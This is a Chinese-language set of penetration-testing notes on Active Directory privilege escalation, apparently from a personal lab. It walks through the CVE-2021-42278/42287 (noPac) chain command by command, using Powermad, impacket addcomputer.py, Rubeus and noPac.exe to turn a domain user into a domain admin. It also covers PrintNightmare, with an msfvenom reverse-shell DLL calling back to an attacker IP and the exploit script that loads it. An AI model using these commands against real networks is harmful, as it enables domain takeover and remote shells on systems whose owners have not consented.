域渗透:域内提权

Active Directory 域内权限提升方法与相关漏洞笔记。

一、 CVE-2021-42278/CVE-2021-42287

参考:

https://www.fortinet.com/blog/threat-research/cve-2021-42278-cve-2021-42287-from-user-to-domain-admin-60-seconds

https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45

https://cloud.tencent.com/developer/article/1922502

在这篇文章中,我们将描述这些漏洞的利用方式,并展示如何通过 FortiEDR 缓解攻击。

受影响的平台: Windows 受影响的用户: 任何具有 Active Directory 环境的组织 影响: 非特权用户可以将权限升级为域管理员 严重程度: 严重

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
影响范围
CVE-2021-42287:
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
CVE-2021-42278:
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2019 (Server Core installation)
Windows Server 2022
Windows Server 2019
Windows Server 2012 R2 (Server Core installation)

漏洞利用与遥测

从高层次来看,成功利用漏洞需要以下步骤:

  1. 新的计算机帐户已添加到域中。
  2. 创建的计算机帐户被重命名为与现有域控制器的名称匹配(不带尾随的“ $ ”)
  3. 使用更新的计算机帐户名请求 Kerberos TGT。
  4. 创建的计算机帐户名再次重命名为其原始(或任何)值。
  5. 使用S4U2self扩展请求 Kerberos 服务票证。

然后,可以使用获取的服务票证来使用域控制器上的任何服务。下面显示的漏洞利用 ST 使用CIFS获取 SYSTEM shell 。

CVE-2021-42278 - 无效的计算机帐户名称

Active Directory 环境中的计算机帐户名称应始终以“$”结尾,但这并不正确。计算机帐户名称属性为“sAMAccountName”。可以使用 ADSIEdit 工具手动查看和编辑此属性,如图 1 所示。

在存在漏洞的机器上,可以将其重命名为域控制器帐户名,这是利用链中的关键步骤。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
CVE-2021-42278漏洞特点:
1. 漏洞本质:
- Active Directory允许修改机器账户的sAMAccountName
- 可以删除机器账户名称末尾的$符号
- 甚至可以改名为域控制器的名称(不带$)

2. 正常情况下:
机器账户:WIN10$
域控账户:DC01$
- 机器账户必须以$结尾
- 这是一个安全限制

3. 漏洞利用:
- 可以把普通机器账户改名为域控名字(不带$)
- 例如:将WIN10$改为DC01
- 造成身份混淆
=======================================================================
1. 正常的计算机账户:
hostname: WIN10
sAMAccountName: WIN10$

2. 利用漏洞后:
hostname: WIN10
sAMAccountName: WindowsServerAD  # 改成域控名字,不带$

安全主体名称

安全主体名称 (SPN) 是用于标识经过身份验证的实体的名称,例如 machinename$@domainname。Kerberos使用[SPN作为各种实体身份验证过程的一部分。它基本上是服务实例的唯一标识符,](https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names#:~:text=A%20service%20principal%20name%20(SPN,with%20a%20service%20logon%20account.&text=The%20installer%20then%20composes%20the,in%20Active%20Directory%20Domain%20Services.)[Kerberos](https://www.fortinet.com/resources/cyberglossary/kerberos-authentication?utm_source=blog&utm_medium=blog&utm_campaign=blog-kerberos-authentication)身份验证使用它来将服务实例与服务登录帐户关联起来。

尝试将计算机帐户重命名为域控制器帐户时,这可能会带来问题,因为更改 samAccountName 属性将触发对该帐户的 SPN 的相应更改。更改它的尝试将失败,因为具有此名称的 SPN 已经存在。为了克服这个问题,可以清除计算机“servicePrincipalName”属性。因此,利用此漏洞还需要编辑“servicePrincipalName”属性的权限。

我们开始配置环境

操作环境:

  • 域:test.local
  • 域控:windows server 2022,主机名:WindowsServerAD,IP:192.168.0.110,用户:administrator
  • 域内主机:windows 10,主机名:win10,IP:192.168.0.104,用户:jerry
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
以下在域内主机win10上运行
配置环境 :

利用 powermad.ps1 新增机器帐号
下载地址:https://github.com/Kevin-Robertson/Powermad
直接导入会报错 参考https://www.jianshu.com/p/a0a88d3bb787

Set-ExecutionPolicy RemoteSigned
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount testuser1 -Domain test.local -DomainController WindowsServerAD.test.local -Verbose

# 如果上面的方法一直提示权限不够 就用下面这个 需要当前域内账号的账号密码
python addcomputer.py -computer-name 'testuser1' -computer-pass 'Password123!' 'test.local/jerry:Password123!' -dc-ip 192.168.0.110

目前账号已经创建完了(这里可以图形化界面操作 adsiedit.msc)

1
2
3
4
# 清除SPN
Set-ADComputer testuser1 -Clear servicePrincipalName
# 配置计算机账户名 配成域控的主机名就行了
Set-MachineAccountAttribute -MachineAccount testuser1 -Value "WindowsServerAD" -Attribute samaccountname -Verbose

CVE-2021-42287 - Kerberos 密钥分发中心混乱

Kerberos 密钥分发中心 (KDC) 是 Active Directory 的一项服务,用于处理 Kerberos 票证请求。票证授予票证 (TGT) 是一种特殊类型的票证,可用于获取其他票证。TGT 用于从票证授予服务 (TGS) 请求域中特定资源/系统的访问令牌。当发送服务票证请求但未找到时,KDC 将自动查找附加有“$”的请求票证。S4U2self (即用户对自己的服务)是一种扩展,允许服务为自己获取 Kerberos 服务票证。服务票证包含用户的组,因此可用于授权决策。所有 Active Directory 术语和完整解释均可在此处找到。

如果用户获得 TGT,然后被删除,并且之前获得的 TGT 用于为自己请求其他用户的服务票证(基本上就是 S4U2self),则可能会触发此漏洞。在这种情况下,将找不到该用户,并将执行以附加“$”查找该用户的操作。如果存在具有该名称的域控制器帐户,则会向请求用户授予服务票证,从而使请求用户成为域管理员。

但是这里也可以自行创建个账户 即使不在域内 如果有域控创建用户的权限的话

请求TGT

1
.\Rubeus.exe asktgt /user:WindowsServerAD /password:Password123! /domain:test.local /dc:WindowsServerAD.test.local /nowrap

然后删除或者改回原名都可以

当用户被删除后,KDC在S4U2self过程中:

  • 先查找没有$的账户名
  • 找不到后,会自动尝试加$查找
  • 如果存在同名的域控账户,就会授予高权限
1
2
Import-Module .\Powermad.ps1
Set-MachineAccountAttribute -MachineAccount testuser1 -Value "testuser1$" -Attribute samaccountname -Verbose

这里命令行操作也可以 adsiedit.msc

请求域控的 ST

1
.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WindowsServerAD.test.local /self /altservice:LDAP/WindowsServerAD.test.local /ptt /ticket:[base64]

这里的 base64 是上面获取到的 TGT 的 base64 编码

成功拿到了 ST 因为我们使用了/ptt 参数 这里已经写入票据了

原作者也提到了 我们拿的是 ldap 权限 所以无法访问共享目录

重新生成 ST

1
.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WindowsServerAD.test.local /self /altservice:cifs/WindowsServerAD.test.local /ptt /ticket:

自动化-noPac

https://github.com/cube0x0/noPac

需要自行编译 也需要域内主机有.NET 环境 使用方法如下

1
2
3
4
noPac.exe scan -domain htb.local -user domain_user -pass 'Password123!'
noPac.exe -dc dc02.htb.local -mAccount demo -mPassword Password123!
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo /mPassword Password123!
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt

我这里已经编译好了

1
2
# 输入域内主机的账号密码 测试看看是否存在漏洞
noPac.exe scan -domain test.local -user jerry -pass Password123!

1
2
# 创建机器账户 然后修改计算机账户名为域控的主机名
noPac.exe -dc WindowsServerAD.test.local -mAccount testuser1 -mPassword Password123!

之前命令行的时候报权限不够 这里也一样 但是使用 impacket 的 addcomputer.py 是可以的

还有两个一键利用的方法我就不用了 需要的话改一下就能用 一键利用里面会加上创建用户的命令 但是我创建用户会报权限不够 所以没办法 导致这个 exp 也不行

后续可以参考原作者

https://cloud.tencent.com/developer/article/1922502

主要讲了获取域控管理员权限之后 新建域用户加入域管 然后通过该新建域账户接管域控

二、PrintNightmare(CVE-2021-34527)

创建恶意 DLL

1
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll

https://github.com/cube0x0/CVE-2021-1675

1
python3 CVE-2021-1675.py My.local/bob:[email protected]'\\192.168.0.106\\public\\rev.dll'

主要是用于提权